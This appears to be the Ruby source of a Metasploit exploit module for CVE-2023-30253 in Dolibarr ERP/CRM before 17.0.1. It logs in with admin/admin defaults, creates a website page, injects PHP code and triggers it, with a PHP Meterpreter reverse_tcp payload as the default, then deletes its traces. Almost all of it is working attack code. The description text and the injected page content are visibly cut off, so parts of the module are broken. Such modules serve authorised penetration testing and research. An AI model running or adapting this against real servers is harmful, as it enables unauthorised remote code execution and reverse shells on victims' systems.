## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection', 'Description' => %q{ Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an authenticated user who has access to the Website module. The application filters lowercase ` MSF_LICENSE, 'Author' => [ 'Tinexta Cyber Offensive Security Team', # Discovery 'Emanuele Cervelli' # Metasploit module ], 'References' => [ ['CVE', '2023-30253'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'], ['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/'] ], 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Privileged' => false, 'Targets' => [ [ 'PHP Meterpreter', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' } } ] ], 'DisclosureDate' => '2023-05-29', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']), OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']), OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/']) ] ) end def referer(path) proto = datastore['SSL'] ? 'https' : 'http' "#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}" end def get_csrf_token(path, referer: nil) headers = {} headers['Referer'] = referer if referer res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET', 'keep_cookies' => true, 'headers' => headers ) return nil if res.nil? html = res.get_html_document token_meta = html.at('meta[@name="anti-csrf-newtoken"]') return token_meta['content'] if token_meta token_input = html.at('input[@name="token"]') return token_input['value'] if token_input nil end def login token = get_csrf_token('index.php') fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil? vprint_status("Attempting login as #{datastore['USERNAME']}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('index.php') }, 'vars_post' => { 'token' => token, 'actionlogin' => 'login', 'loginfunction' => 'loginfunction', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::Unreachable, 'No response received during login') if res.nil? fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password') print_good('Successfully authenticated to Dolibarr') end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' ) return CheckCode::Unknown('Could not connect to web service - no response') if res.nil? return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr') version = nil if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i version = ::Regexp.last_match(1) end if version ver = Rex::Version.new(version) if ver < Rex::Version.new('17.0.1') return CheckCode::Appears("Vulnerable version detected: #{version}") else return CheckCode::Safe("Not vulnerable, version detected: #{version}") end end CheckCode::Detected('Dolibarr detected but version could not be determined') end def create_website @website_name = Rex::Text.rand_text_alpha_lower(8) vprint_status("Creating website: #{@website_name}") token = get_csrf_token('website/index.php', referer: referer('website/index.php')) fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil? res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_post' => { 'token' => token, 'action' => 'addsite', 'website' => '-1', 'WEBSITE_REF' => @website_name, 'WEBSITE_LANG' => 'en', 'addcontainer' => 'Create' } ) fail_with(Failure::Unreachable, 'No response when creating website') if res.nil? fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied') print_good("Website '#{@website_name}' created") @website_created = true end def create_page @page_name = Rex::Text.rand_text_alpha_lower(6) vprint_status("Creating page: #{@page_name}") token = get_csrf_token('website/index.php', referer: referer('website/index.php')) fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil? res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_post' => { 'token' => token, 'action' => 'addcontainer', 'website' => @website_name, 'radiocreatefrom' => 'checkboxcreatemanually', 'WEBSITE_TYPE_CONTAINER' => 'page', 'sample' => 'empty', 'WEBSITE_TITLE' => @page_name, 'WEBSITE_PAGENAME' => @page_name, 'WEBSITE_LANG' => 'en', 'addcontainer' => 'Create' } ) fail_with(Failure::Unreachable, 'No response when creating page') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 html = res.get_html_document page_option = html.at('select[@name="pageid"] option[selected]') fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil? @page_id = page_option['value'] fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty? print_good("Page '#{@page_name}' created with ID #{@page_id}") end def inject_and_trigger token = get_csrf_token('website/index.php', referer: referer('website/index.php')) fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil? section_id = Rex::Text.rand_text_alpha_lower(8) page_content = %(
) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_post' => { 'token' => token, 'backtopage' => '', 'dol_openinpopup' => '', 'action' => 'updatesource', 'website' => @website_name, 'pageid' => @page_id, 'update' => 'Save', 'PAGE_CONTENT' => page_content } ) fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil? print_good('Payload injected, triggering...') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'), 'method' => 'GET', 'vars_get' => { 'website' => @website_name, 'pageref' => @page_name } }, 5) end def get_website_id token = get_csrf_token('website/index.php', referer: referer('website/index.php')) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'GET', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_get' => { 'action' => 'deletesite', 'token' => token, 'website' => @website_name } ) return nil if res.nil? match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite}) return match[1] if match nil end def delete_page token = get_csrf_token('website/index.php', referer: referer('website/index.php')) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_post' => { 'token' => token, 'backtopage' => '', 'website' => @website_name, 'pageid' => @page_id, 'delete' => 'Delete' } ) end def delete_website website_id = get_website_id return if website_id.nil? token = get_csrf_token('website/index.php', referer: referer('website/index.php')) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'website', 'index.php'), 'method' => 'GET', 'keep_cookies' => true, 'headers' => { 'Referer' => referer('website/index.php') }, 'vars_get' => { 'id' => website_id, 'action' => 'confirm_deletesite', 'confirm' => 'yes', 'token' => token, 'delete_also_js' => '', 'delete_also_medias' => '' } ) end def cleanup super return unless @website_created begin vprint_status("Cleaning up website '#{@website_name}'") delete_page if @page_id delete_website print_good("Website '#{@website_name}' deleted") rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e print_warning("Cleanup failed: #{e.message}") end end def exploit login create_website create_page print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") inject_and_trigger end end